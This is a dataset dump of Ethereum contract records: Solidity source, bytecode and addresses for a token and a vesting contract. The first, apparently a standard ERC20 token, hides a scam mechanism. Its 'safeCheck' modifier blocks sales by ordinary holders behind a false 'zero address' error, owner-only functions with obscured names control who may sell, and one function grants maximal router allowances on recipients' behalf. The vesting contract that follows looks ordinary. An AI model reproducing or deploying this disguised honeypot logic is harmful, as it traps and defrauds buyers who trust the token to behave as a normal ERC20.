function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
//Micro Launchpad Token
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
_;}
function _transfer_coin(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611b0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611b7f6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ac66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa36023913960400191505060405180910390fd5b6117a8868686611a9d565b61181384604051806060016040528060268152602001611ae8602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201148ac87449272a1d6f40dce7632ceeb30578532abd4108242cfa04c0f7304a364736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 6,135 |
0x8f86a9d260211aA9a8E61727f7B5A325990B5a2b
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract VestingContract is Ownable {
using SafeMath for uint256;
// CNTR Token Contract
IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
uint256[] vestingSchedule;
address public receivingAddress;
uint256 public vestingStartTime;
uint256 constant public releaseInterval = 30 days;
uint256 public totalTokens;
uint256 public totalDistributed;
uint256 index = 0;
constructor(address _address) public {
receivingAddress = _address;
}
function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner {
require(vestingStartTime == 0);
vestingSchedule = _vestingSchedule;
for(uint256 i = 0; i < vestingSchedule.length; i++) {
totalTokens = totalTokens.add(vestingSchedule[i]);
}
}
function updateReceivingAddress(address _address) public onlyOwner {
receivingAddress = _address;
}
function releaseToken() public {
require(vestingSchedule.length > 0);
require(msg.sender == owner() || msg.sender == receivingAddress);
if (vestingStartTime == 0) {
require(msg.sender == owner());
vestingStartTime = block.timestamp;
}
for (uint256 i = index; i < vestingSchedule.length; i++) {
if (block.timestamp >= vestingStartTime + (index * releaseInterval)) {
tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether));
totalDistributed = totalDistributed.add(vestingSchedule[i]);
index = index.add(1);
} else {
break;
}
}
}
function getVestingSchedule() public view returns (uint256[] memory) {
return vestingSchedule;
}
}
|
